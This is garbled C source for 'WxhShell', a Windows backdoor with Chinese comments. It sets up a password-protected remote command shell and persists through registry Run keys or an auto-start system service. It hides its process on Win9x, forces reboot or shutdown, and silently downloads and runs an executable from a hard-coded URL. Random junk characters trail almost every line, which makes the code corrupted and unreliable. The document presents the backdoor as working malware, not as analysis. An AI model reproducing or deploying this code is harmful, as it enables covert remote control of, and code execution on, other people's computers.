    } i ^#R iCeo  
  // 关机 iYnt:C  
  case 'd': { \GWC5R7Q0j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C$8=HM3  
    if(Boot(SHUTDOWN)) I,D=ixK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ax ^9J)C  
    else { k.%F!sK  
    closesocket(wsh); Mtu8zm  
    ExitThread(0); OR3TRa XD  
    } "2mVW_k  
    break;  l}JVRU{  
    } 4"{q|~&=:$  
  // 获取shell VuGSP]$q  
  case 's': { 6*$N@>8&  
    CmdShell(wsh); zC7;Zj*k  
    closesocket(wsh); [*fnTy  
    ExitThread(0); Nbr{)h  
    break; }U9e#>e x  
  } IcB>Hg5  
  // 退出 m9/a!|fBE  
  case 'x': { ;k>{I8L~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q+<TD#xoL  
    CloseIt(wsh); !*p lK6a  
    break; so;aN'{6@  
    } di"*K*~y  
  // 离开 rS=6d6@  
  case 'q': { ^pn:SV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8_>R'u[  
    closesocket(wsh); jsuQ R  
    WSACleanup(); xaPTTa  
    exit(1); Mf?4 `LM  
    break; T6tJwSS4:  
        }  A/9 wr  
  } hSxf;>(d  
  } !$j'F?2 >  
74Lq!e3hMF  
  // 提示信息 <3i!{"}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -50|r;a  
} uJi|@{V  
  } a}6Wo=  
'E9\V\bi  
  return; !O*\|7A(  
} \5Hfe;ny-~  
AtSEKpKc  
// shell模块句柄 )F:hv[iv  
int CmdShell(SOCKET sock) ;#AV~Y- s  
{ <MoWS9s!yb  
STARTUPINFO si; F*QGzbv)  
ZeroMemory(&si,sizeof(si)); dH8H<K~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *edB3!!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nM@S`"  
PROCESS_INFORMATION ProcessInfo; gVO[R6C5C  
char cmdline[]="cmd"; ]2?t $"G8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )8yNqnD  
  return 0; -e30!A  
} XJ.vj+XXb  
Ok9XC <Xu  
// 自身启动模式 #5F\zeo@F?  
int StartFromService(void) geua8;  
{ @Kp2l<P  
typedef struct < f1Pj  
{ h60*=+vdJ  
  DWORD ExitStatus; 2-FL&DE  
  DWORD PebBaseAddress; YeT[KjX  
  DWORD AffinityMask; q'[5h>Pa  
  DWORD BasePriority; YHl6M&*@  
  ULONG UniqueProcessId; \It8+^d@  
  ULONG InheritedFromUniqueProcessId; S-*4HV_l  
}   PROCESS_BASIC_INFORMATION; "d9"Md0k  
= oQ-I  
PROCNTQSIP NtQueryInformationProcess; :A>cf}  
,@Xl?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V|)3l7IC<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k68\ _NUL  
uD_iyK0,  
  HANDLE             hProcess; [?^,,.Dd  
  PROCESS_BASIC_INFORMATION pbi; o/ ozX4C  
pri=;I(2A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,dP-sD;<  
  if(NULL == hInst ) return 0; ihdN{Mx<2  
8i;EpAwB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z1K@AaRx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (w}iEm\b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oSq4g{xvMH  
NJRk##Z  
  if (!NtQueryInformationProcess) return 0; B/6wp^#VX  
m r&nB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %We~k'2f  
  if(!hProcess) return 0; ],V_"\ATD  
Bvb.N$G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h\k@7wgu  
jvv3;lWDL.  
  CloseHandle(hProcess); xEb+sE6Z  
WBvh<wTw;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pUi|&F K">  
if(hProcess==NULL) return 0; t"4RGO)jh  
>+ZBQ]~  
HMODULE hMod; LQ(z~M0B  
char procName[255]; r)E9]"TAB  
unsigned long cbNeeded; N8S !&*m  
Jr+~'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B >2"O  
3D|Y4OM  
  CloseHandle(hProcess); (xxNQ] l-(  
P@lDhzd  
if(strstr(procName,"services")) return 1; // 以服务启动 )lh48Ag0t;  
;r'y/ Y'?  
  return 0; // 注册表启动 4IfOvAN%  
} PxE0b0eo  
=A[:]),v  
// 主模块 z B/#[~  
int StartWxhshell(LPSTR lpCmdLine) xgeDfpF'  
{ \A "_|Yg  
  SOCKET wsl; su:~X d  
BOOL val=TRUE; CWKN0HB  
  int port=0; Q5%$P\  
  struct sockaddr_in door; GY% ^!r  
&ed&2t`Y  
  if(wscfg.ws_autoins) Install(); _%M+!Ltz  
Fs+ CY  
port=atoi(lpCmdLine); o9GtS$ O\  
Yvmo%.oU  
if(port<=0) port=wscfg.ws_port; ct o+W}k  
<=O/_Iu(  
  WSADATA data; *49({TD6`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !W\Zq+^^J3  
xbUL./uj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q#gzk%jL@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CB!5>k+mC  
  door.sin_family = AF_INET; 4DLp +6zP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WC0gJy  
  door.sin_port = htons(port); sWtT"7>x  
vH[G#A~4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I| V yv  
closesocket(wsl); 8)KA {gN}  
return 1; lRO7 Ae  
} 8VWkUsOoI  
gC/~@Z8W]  
  if(listen(wsl,2) == INVALID_SOCKET) { 3P}^Wu  
closesocket(wsl); E8gbm&x*  
return 1;  H8lh.K  
} \+9~\eeXb  
  Wxhshell(wsl); KzgW+6*G  
  WSACleanup(); E`A6GX  
cu |S|]g  
return 0; k_,wa]ws$  
At t~N TL  
} JkfVsmc<{h  
b '9L}q2m  
// 以NT服务方式启动 @gc|Z]CV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1J{1>r  
{ (9!/bX<  
DWORD   status = 0; #&$a7L}  
  DWORD   specificError = 0xfffffff; .sqX>sU/]  
LK>J]p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =cP7"\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M9PzA'}4W6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K|a^<| S  
  serviceStatus.dwWin32ExitCode     = 0; |0wHNRN_  
  serviceStatus.dwServiceSpecificExitCode = 0; 0b3z(x!O  
  serviceStatus.dwCheckPoint       = 0; fR^aFT  
  serviceStatus.dwWaitHint       = 0; S.)+C2g,@  
hQFF%xl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8T]x4JQ0  
  if (hServiceStatusHandle==0) return; o$XJSz|6  
[t{ed)J  
status = GetLastError(); Nn:>c<[  
  if (status!=NO_ERROR) Qzh`x-S  
{ wOg?.6<Kxa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J]"IT*-Ht  
    serviceStatus.dwCheckPoint       = 0; C)H1<Br7  
    serviceStatus.dwWaitHint       = 0; =7l'3z8  
    serviceStatus.dwWin32ExitCode     = status; bMjE@S&  
    serviceStatus.dwServiceSpecificExitCode = specificError; QRw/d}8l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OZCbMeB{+J  
    return; RIg `F#, 3  
  } B098/`r  
m1\+~*i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OtsW>L@ O(  
  serviceStatus.dwCheckPoint       = 0; 2cu?2_,  
  serviceStatus.dwWaitHint       = 0; "4Bk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s.{nxk.  
} <q<kqy5s-R  
]N#%exBVo  
// 处理NT服务事件,比如:启动、停止 YB?5s`vr9d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EZw<)Q   
{ + m+v1(@  
switch(fdwControl) 5;4bZ3e,0  
{ 84|oqwZO  
case SERVICE_CONTROL_STOP: ~L55l2u7  
  serviceStatus.dwWin32ExitCode = 0; 6$*\%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ]$=\zL  
  serviceStatus.dwCheckPoint   = 0; gd=gc<zYP  
  serviceStatus.dwWaitHint     = 0; BJ$\Mb##3@  
  { 65g"$:0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 56JvF*hP  
  } lij>u  
  return; {OBV+}#  
case SERVICE_CONTROL_PAUSE: y<0RgG1qp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fvH4<c5x  
  break; Zk .V   
case SERVICE_CONTROL_CONTINUE: J6s@}@R1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'G>gNq  
  break; grWmF3c#  
case SERVICE_CONTROL_INTERROGATE: f?P>P23  
  break; K|Kc.   
}; u.~`/O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7{fOo%(7  
} K>_~zWnc  
Dmq_jt  
// 标准应用程序主函数 *41 2)zEy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~REP@!\r^  
{ D$&LCW#x  
=e j'5m($3  
// 获取操作系统版本 K'tckJ#%  
OsIsNt=GetOsVer(); ^U@-Dp,k+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); = 3("gScUj  
|vVcO  
  // 从命令行安装 x } X1 O)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1:Dm, d;  
E2%{?o  
  // 下载执行文件 Qi?xx')  
if(wscfg.ws_downexe) {  )o\U4t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bayDdR4T  
  WinExec(wscfg.ws_filenam,SW_HIDE); J~=tR1 k  
} RX6s[uQ  
Du7DMo=l  
if(!OsIsNt) { EDAVU  
// 如果时win9x,隐藏进程并且设置为注册表启动 b xFDB^  
HideProc(); PD$@.pib  
StartWxhshell(lpCmdLine); UX!)\5-  
} 3`3`iN!8\@  
else ?loP18S b  
  if(StartFromService()) ]Ac&h aAP  
  // 以服务方式启动 >?yxig:_  
  StartServiceCtrlDispatcher(DispatchTable); @Z{!T)#}j  
else %*Aq%,.={  
  // 普通方式启动 ouO<un  
  StartWxhshell(lpCmdLine); =(%+S<}  
ZlEH3-Zv  
return 0; ;VlA~tv  
} $EUlh^  
9EIOa/*  
Y-vLEIX=  
KB6'sj  
=========================================== Th%2pwvER  
IN#Z(FMVC  
>|!s7.H/J/  
+,$ SZO]  
;E0aTV)Zp  
aW.[3M;?v  
" Q xg)Wb#  
Qe,aIh  
#include <stdio.h> `:&jbd4H  
#include <string.h> IJz=SV  
#include <windows.h> hantGw |  
#include <winsock2.h> CUG3C  
#include <winsvc.h> LRa^x44  
#include <urlmon.h> ;(1Xb   
F\U^-/0,  
#pragma comment (lib, "Ws2_32.lib") +`D,7"{Eu  
#pragma comment (lib, "urlmon.lib") =MCQNyf+  
/Q*o6G ys0  
#define MAX_USER   100 // 最大客户端连接数 ,Q>Rt V  
#define BUF_SOCK   200 // sock buffer $lYy`OuC  
#define KEY_BUFF   255 // 输入 buffer \n}@}E L  
{!G  
#define REBOOT     0   // 重启 -YD+x PD  
#define SHUTDOWN   1   // 关机 ay-M.J  
: #om6}   
#define DEF_PORT   5000 // 监听端口 |2'u@<(Z/  
h|Z%b_a  
#define REG_LEN     16   // 注册表键长度 gZ b +m  
#define SVC_LEN     80   // NT服务名长度 |?=a84n1l  
Iq%f*Zm<  
// 从dll定义API rz'A#-?'oG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Utv#E.VI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l%^VBv> 2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k.MAX8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B<}0r 4T}  
,|u^-J@  
// wxhshell配置信息 Q3OGU}F  
struct WSCFG { #x^dR-@   
  int ws_port;         // 监听端口 F]L$xU  
  char ws_passstr[REG_LEN]; // 口令 ,k=1 '7d  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y  c]  
  char ws_regname[REG_LEN]; // 注册表键名 dYP-QUM$7  
  char ws_svcname[REG_LEN]; // 服务名 J#OiY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 miCW(mbO8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g~#HiBgWq[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iJH;OV;P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PRo;NE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pD )$O}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U! xOJ  
<R%]9#re  
}; f:)%+)U<Xm  
%8N=4vTJ  
// default Wxhshell configuration h_{//W[  
struct WSCFG wscfg={DEF_PORT, p l.D h  
    "xuhuanlingzhe", Fy!-1N9|l  
    1, [`'[)B  
    "Wxhshell", GLIe8T*ht  
    "Wxhshell", `tZ-8f  
            "WxhShell Service", X Nm%O  
    "Wrsky Windows CmdShell Service", `VB]4i}u  
    "Please Input Your Password: ", CG -^}xE:  
  1, &-s/F`  
  "http://www.wrsky.com/wxhshell.exe", icnc5G  
  "Wxhshell.exe" Ie14`'  
    }; 9N?BWv }  
sp VE'"^  
// 消息定义模块 F N)vFQ#J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k- ?:0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k'hJ@ 6eKS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R"0fZENTG  
char *msg_ws_ext="\n\rExit."; q_sQC5:s  
char *msg_ws_end="\n\rQuit."; /%'>?8/  
char *msg_ws_boot="\n\rReboot..."; MK*WStY  
char *msg_ws_poff="\n\rShutdown..."; %I&[:  
char *msg_ws_down="\n\rSave to "; 1E]|>)$  
:mpR}.^hv  
char *msg_ws_err="\n\rErr!"; 2d`:lk%\  
char *msg_ws_ok="\n\rOK!"; p%_m!   
ee9nfvG-  
char ExeFile[MAX_PATH]; Lh"!Z  
int nUser = 0; $xWebz0  
HANDLE handles[MAX_USER]; Xw|t.0  
int OsIsNt; /61P`1y(J  
+Je(]b @  
SERVICE_STATUS       serviceStatus; :=I@<@82W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W)0y+H\% r  
[J6*Q9B<V&  
// 函数声明 WrS|$: 0  
int Install(void); r-ldqj  
int Uninstall(void); g7-=kmr|V  
int DownloadFile(char *sURL, SOCKET wsh); j#`d%eQ~J  
int Boot(int flag); UX9r_U5)  
void HideProc(void); vw'`t6  
int GetOsVer(void); G O=&  
int Wxhshell(SOCKET wsl); -]uN16\ F  
void TalkWithClient(void *cs); D`t }V  
int CmdShell(SOCKET sock); (Nky?*  
int StartFromService(void); T2nbU6H  
int StartWxhshell(LPSTR lpCmdLine); j70]2NgX  
`3v! i   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m}x&]">9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YEEgDw]BQ  
| Q Y_ci  
// 数据结构和表定义 !_EaF`oh(  
SERVICE_TABLE_ENTRY DispatchTable[] = 3E!#?N|v  
{ t5%\`Yo?  
{wscfg.ws_svcname, NTServiceMain}, Ew4>+o!  
{NULL, NULL} 2 us-s  
}; C3H q&TVf/  
UeG$lMV  
// 自我安装 WhO;4-q)2  
int Install(void) g[rxK n\Z  
{ MNE{mV(  
  char svExeFile[MAX_PATH]; x4PH-f-7  
  HKEY key; Q9lw~"  
  strcpy(svExeFile,ExeFile); YH VJg?H3  
hSgfp  
// 如果是win9x系统,修改注册表设为自启动 He)<S?X-6  
if(!OsIsNt) { )\:cL GM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z2m%L0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \iQD\=o  
  RegCloseKey(key); >H@ zP8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @#T*OH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;;zKHS  
  RegCloseKey(key); t'uZho~^F  
  return 0; gr'M6&>  
    } x?J- {6k  
  } :*bmc/c  
} *E<%db C2  
else { i$) `U]  
Ni5~Buf  
// 如果是NT以上系统,安装为系统服务 qll)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }]pq&v!  
if (schSCManager!=0) G<kslTPyq  
{ DiK@>$v  
  SC_HANDLE schService = CreateService 6#xP[hlR[  
  ( :t\pi. uWt  
  schSCManager, 5oQy $Y  
  wscfg.ws_svcname, K/Q^8%Z  
  wscfg.ws_svcdisp, k zhek >  
  SERVICE_ALL_ACCESS, `A@{})+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OO@ (lt  
  SERVICE_AUTO_START, #vi `2F  
  SERVICE_ERROR_NORMAL, @O}%sjC1  
  svExeFile, hKw4[wB]  
  NULL, :\x)`lu  
  NULL, G#ov2  
  NULL, ,K Ebnk|i  
  NULL, _94|^   
  NULL UQ#"^`=R<  
  ); 6[kp#  
  if (schService!=0) WL4{_X  
  { z'K&LH  
  CloseServiceHandle(schService); vn@9Sqk  
  CloseServiceHandle(schSCManager); >Ha tb bA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gF;i3OJg  
  strcat(svExeFile,wscfg.ws_svcname); umrfA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { / %}Xiqlrd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9L;fT5Tp7  
  RegCloseKey(key); z=>U>  
  return 0; H: Rd4dl,  
    } H8+7rM  
  } (]0JI1 d  
  CloseServiceHandle(schSCManager); JQQP!]%}  
} s/+@o:  
} 5LU8QHj3  
( /{Wu:e  
return 1; W'x/Kg,w-  
} Z-W>WR  
m.ev~Vv~  
// 自我卸载 X(Gp3lG  
int Uninstall(void) '+LbFGrO3  
{ Su99A.w  
  HKEY key; r9<OB`)3+  
n46H7e(ej\  
if(!OsIsNt) { ?|LR@M!S7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tg|0!0qD]F  
  RegDeleteValue(key,wscfg.ws_regname); &GF@9BXI3  
  RegCloseKey(key); {/SUfXq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e E:J  
  RegDeleteValue(key,wscfg.ws_regname); {\3ZmF  
  RegCloseKey(key); ygoA/*s  
  return 0; Nv!If$d  
  } (D5 dN\  
} ha+)ZF  
} z\wY3pIr2  
else { o ?z A'5q  
3Au3>q,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); / i[F  
if (schSCManager!=0) 57 (bd0@8  
{ E(]39B"i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IiW*'0H:/  
  if (schService!=0) 2wR?ON=Q  
  { bzYj`t?  
  if(DeleteService(schService)!=0) { /dGpac  
  CloseServiceHandle(schService); s6=jHrdvv  
  CloseServiceHandle(schSCManager); MvV\?Lzj   
  return 0; -\=s+n_ZP?  
  } (55k70>i3  
  CloseServiceHandle(schService); wD+4#=/j  
  } kucH=96  
  CloseServiceHandle(schSCManager); FfEP@$  
} r"HQ>Wn  
} hO8~Rg   
Cn6<I{`\  
return 1; PydU.,^7  
} >JOEp0J  
+% E)]*Ym  
// 从指定url下载文件 \N3A2L)l  
int DownloadFile(char *sURL, SOCKET wsh) T,G38  
{ Lt'FA  
  HRESULT hr; (r Tn6[ *  
char seps[]= "/"; :{7gZ+*  
char *token; Bh<DqN  
char *file; o/dj1a~U  
char myURL[MAX_PATH]; C[X2]zr  
char myFILE[MAX_PATH]; `IC2}IiF  
2g0_[$[m  
strcpy(myURL,sURL); zDK"Y{  
  token=strtok(myURL,seps); k`aHG8S\  
  while(token!=NULL) rJz`v/:|P  
  { T~D2rt\  
    file=token; gXy'@ !  
  token=strtok(NULL,seps); )#%v1rR  
  } 8%\0v?a5  
"@s</HGo  
GetCurrentDirectory(MAX_PATH,myFILE); [N=v=J9  
strcat(myFILE, "\\"); Al}D~6MD  
strcat(myFILE, file); sa?Ul)L2  
  send(wsh,myFILE,strlen(myFILE),0); ja2BK\"1:  
send(wsh,"...",3,0); \bXusLI!l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tDWoQ&z2t_  
  if(hr==S_OK) yiO/0nMp  
return 0; 7gnrLc$]O  
else V'M#."Of/  
return 1; |#i|BVnoE  
jA' 7@/F/  
} BbC aIt  
UD0#Tpd7  
// 系统电源模块  I?R?rW  
int Boot(int flag) n=iL6Yu(  
{ L]e@. /C$  
  HANDLE hToken; Ge_Gx*R  
  TOKEN_PRIVILEGES tkp; VRQD  
wSPwa,)7s  
  if(OsIsNt) { <FofRFaS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yM PZ}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZNUSHxA  
    tkp.PrivilegeCount = 1; !;%+1j?d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -qs R,H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =yCz!vc  
if(flag==REBOOT) { aH'=k?Of;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h8 !(WO!  
  return 0; o |"iW" +  
} CFW#+U#U  
else { N= G!r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) phP%  
  return 0; `gE_u  
} I7]qTS[vg  
  } S4C4_*~Vd  
  else { dw YGhhm  
if(flag==REBOOT) { ,sZ)@?e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %pUA$oUt  
  return 0; I4Rd2G_  
} iPK:gK3Q  
else { XtftG7r9S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "NvB@>S  
  return 0; :TRhk.  
} q c DJ  
} e3=-7FU  
*}RV)0mif  
return 1; Sej(jJX1  
} %d^ =$Q  
#4Ltw ,b^  
// win9x进程隐藏模块 i:n1Di1~E  
void HideProc(void) `7 3I}%?  
{ 5-! Zm]  
8c<OX!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ftRzgW);  
  if ( hKernel != NULL ) Q60'5Wt  
  { V*%Lc9<d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / TAza9a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )~C+nb '6/  
    FreeLibrary(hKernel); ve*m\DU  
  } 2|JtRE+  
[?S-on.  
return; 6g 5Lf)yG  
} v@Bk)Z  
Ry`Y +  
// 获取操作系统版本 EeDK ^W8N  
int GetOsVer(void) =q<t,UP8  
{ j% Wip j;c  
  OSVERSIONINFO winfo; LLd5Z44v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k[8{N  
  GetVersionEx(&winfo); zdgSqv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gh<2i\})'  
  return 1; pe>[Ts`2F  
  else IaYaIEL-  
  return 0; c+.?+g  
} #OVS]Asn}  
pg/SYEvsV  
// 客户端句柄模块 n7iIY4gZ  
int Wxhshell(SOCKET wsl) gi JjE  
{ E#(dri*#t  
  SOCKET wsh; N6w!V]b  
  struct sockaddr_in client; ?;ovh nY)  
  DWORD myID; 8~:s$~&r  
ldRisL  
  while(nUser<MAX_USER) e<duD W$X  
{ k@9CDwh*s  
  int nSize=sizeof(client); Vy@0Got5=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g%%j"Cz1  
  if(wsh==INVALID_SOCKET) return 1; a4x(lx&  
6&[rA TU+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F~zrg+VDjL  
if(handles[nUser]==0) \><v1x>;  
  closesocket(wsh); ;]Ko7M(4  
else YV)h"u+@0  
  nUser++; P>qDQ1  
  } ` l}+BI`4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w ?"s6L3  
]C5/-J,F  
  return 0; mecm,xwm  
} x|U[|i,;  
i~uoK7o|G  
// 关闭 socket f<Xi/ (  
void CloseIt(SOCKET wsh) TmUN@h  
{ MRa |<yK  
closesocket(wsh); epQdj=h  
nUser--;  9t_N 9@  
ExitThread(0); w/Y6m.i1  
} 0)E`6s#M  
nW!pOTJq21  
// 客户端请求句柄 Z=[?T f  
void TalkWithClient(void *cs) qL/XGIxL?  
{ *S] K@g  
< SvjvV  
  SOCKET wsh=(SOCKET)cs; GCv*a[8?n  
  char pwd[SVC_LEN]; mH5[(?   
  char cmd[KEY_BUFF]; fSw6nEXn  
char chr[1]; Jpr`E&%I6  
int i,j; 6/l{e)rX2o  
;}QM#5Xdt  
  while (nUser < MAX_USER) { Y^9b>H\2  
Pef$-3aP>E  
if(wscfg.ws_passstr) { 48"=,IrM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]97`=,OUg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;ep@ )Y  
  //ZeroMemory(pwd,KEY_BUFF); CZ}%\2>-v  
      i=0; 'D17]Lp~.  
  while(i<SVC_LEN) { MH h;>tw  
'o% .Q x  
  // 设置超时 pPnJf{  
  fd_set FdRead; Xi"<'E3_  
  struct timeval TimeOut; CvB)+>oa  
  FD_ZERO(&FdRead); `cn}}1Lg]  
  FD_SET(wsh,&FdRead); OYayTKxN  
  TimeOut.tv_sec=8; 1zlBkK   
  TimeOut.tv_usec=0; .jvRUD8A7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i5G"@4(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >TB Rp,;r  
GK8x<Aq%z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^rIe"Kx  
  pwd=chr[0]; VMgO1-F  
  if(chr[0]==0xd || chr[0]==0xa) { O\ph!?L  
  pwd=0; !Ng~;2GoA  
  break; z2DjYTm[~  
  } Az4a|.  
  i++; Df_*W"(v  
    } $ITh)#Nj  
3_cZaru  
  // 如果是非法用户,关闭 socket U1~6o"1H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *h Z{>  
} LG> lj$hO  
#oQDt'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d>r_a9 .u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J sc`^a%`'  
tG}cmK~%  
while(1) { HI*j6H?\  
(J,^)!g7  
  ZeroMemory(cmd,KEY_BUFF); O0cKmh6=  
sV5S>*A[  
      // 自动支持客户端 telnet标准   > cM}M=4s  
  j=0; Md(h-wYr  
  while(j<KEY_BUFF) { _7qGo7bpN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q>H f2R  
  cmd[j]=chr[0]; ]5`Y^hS_g  
  if(chr[0]==0xa || chr[0]==0xd) { dp'xd>m  
  cmd[j]=0; ?PSVVU q,Z  
  break; /C"?Y'  
  } /O/pAu>  
  j++; +PGtO9}B  
    } pR*)\@ma  
|uRZT3bGyj  
  // 下载文件 cJ#|mzup  
  if(strstr(cmd,"http://")) { .6xIg+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LYvjqNC&4  
  if(DownloadFile(cmd,wsh)) whdoG{/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [23F0-p  
  else 4kqgZtg.  
